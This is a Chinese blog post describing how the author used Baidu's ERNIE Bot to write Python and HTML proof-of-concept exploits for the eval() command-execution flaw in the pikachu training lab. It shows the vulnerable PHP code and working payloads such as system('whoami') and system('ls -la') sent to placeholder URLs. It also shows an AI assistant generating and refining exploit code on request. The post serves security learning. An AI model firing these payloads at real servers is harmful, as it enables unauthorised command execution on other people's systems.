AI代码审计和POC编写

AI代码审计和POC编写

原创 道玄安全 道玄网安驿站 2024-11-16 15:25


 AI做代码审计和POC编写真好使

看到了,关注一下
不吃亏啊,点个赞转发一下啦,WP看不下去的,可以B站搜:标松君
,UP主录的打靶视频,欢迎关注。顺便宣传一下星球:重生者安全,
里面每天会不定期更新OSCP
知识点,车联网
渗透红队
以及漏洞挖掘工具
等信息分享,欢迎加入;以及想挖SRC逻辑漏洞
的朋友,可以私聊。

01

AI代码审计初体验

在看了很多AI模型对代码审计的能力后,小编也想来体验一下AI做代码审计和POC编写的尝试,所以有了一下小实验:

1.实验目标:通过AI写出一段python编写的POC

2.实验工具:百度文心一言

3.实验靶机:pikachu

02

实验过程

小编选择了pikachu的RCE漏洞,漏洞代码如下:

路径:C:\phpstudy_pro\WWW\pikachu\vul\rce\rce_eval.php

if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt'])){
        $html.="<p>你喜欢的字符还挺奇怪的!</p>";

    }

}

将代码输入文心一言并附上要求:

下面是AI给出的html版的代码:

<!DOCTYPE html>
<html>
<head>
    <title>POC: Exploit for eval() vulnerability</title>
</head>
<body>
    <h1>POC: Exploit for eval() vulnerability</h1>
    <form action="http://your-vulnerable-site.com/vulnerable-page.php" method="POST">
        <label for="txt">Enter PHP code to execute:</label>
        <textarea name="txt" id="txt" rows="10" cols="50"><?php echo phpinfo(); ?></textarea><br><br>
        <input type="hidden" name="submit" value="1">
        <input type="submit" value="Submit">
    </form>
</body>
</html>

小编想要的是python版本的,就继续要求它:

代码如下:

import requests

# 目标网站的 URL
url = "http://your-vulnerable-site.com/vulnerable-page.php"

# 要执行的 PHP 代码(作为字符串发送)
malicious_code = "<?php echo 'Vulnerable!'; system('whoami'); ?>"

# 构建 POST 数据
post_data = {
    'txt': malicious_code,
    'submit': '1'  # 假设后端检查这个字段来确定是否处理请求
}

# 发送 POST 请求
response = requests.post(url, data=post_data)

# 输出响应内容
print(response.text)

将代码中的URL地址修改一下,试一试,发现不太行,直接用它的payload放进漏洞的输入框发现是失败的:

我们继续要求:

这回它给出的poc是:

import requests

# 目标URL(替换为你的目标URL)
target_url = "http://example.com/vulnerable_script.php"

# 构造POST数据
# 尝试执行一个简单的echo语句
post_data = {
    'submit': '1',  # 确保submit字段存在
    'txt': 'echo "Hello from eval!";'  # 尝试输出字符串
}

# 发送POST请求
response = requests.post(target_url, data=post_data)

# 打印响应内容
print(response.text)

直接把payload放到输入框,
可以正常执行了!

继续给它要求:

就照着'txt': 'echo "Hello from eval!";' 的格式,写一个system函数的poc

POC如下:

import requests

# 目标URL(替换为你的目标URL)
target_url = "http://example.com/vulnerable_script.php"

# 注意:在Windows系统上,应使用'dir'而不是'ls'
# 构造POST数据,尝试执行system函数列出当前目录内容
# 对于Unix/Linux系统
post_data_unix = {
    'submit': '1',  # 确保submit字段存在
    'txt': 'system("ls -la");'  # 尝试执行ls命令列出目录内容
}

# 对于Windows系统
# post_data_windows = {
#     'submit': '1',
#     'txt': 'system("dir");'  # 尝试执行dir命令列出目录内容
# }

# 选择适当的POST数据(根据你的目标系统)
post_data = post_data_unix  # 或者 post_data_windows

# 发送POST请求
response = requests.post(target_url, data=post_data)

# 打印响应内容
print(response.text)

由于我的是windows部署的靶机,所以出现了下面的结果:

到现在我已经成功的让AI根据一段代码写出了poc!,不得不说AI做代码审计是天然的优势!

更多精彩内容请扫码关注“重生者安全”星球


免责声明:

本人所有文章均为技术分享,均用于防御为目的的记录,所有操作均在实验环境下进行,请勿用于其他用途,否则后果自负。

第二十七条:任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序和工具;明知他人从事危害网络安全的活动,不得为其提供技术支持、广告推广、支付结算等帮助

第十二条:  国家保护公民、法人和其他组织依法使用网络的权利,促进网络接入普及,提升网络服务水平,为社会提供安全、便利的网络服务,保障网络信息依法有序自由流动。

任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,煽动颠覆国家政权、推翻社会主义制度,煽动分裂国家、破坏国家统一,宣扬恐怖主义、极端主义,宣扬民族仇恨、民族歧视,传播暴力、淫秽色情信息,编造、传播虚假信息扰乱经济秩序和社会秩序,以及侵害他人名誉、隐私、知识产权和其他合法权益等活动。

第十三条:  国家支持研究开发有利于未成年人健康成长的网络产品和服务,依法惩治利用网络从事危害未成年人身心健康的活动,为未成年人提供安全、健康的网络环境。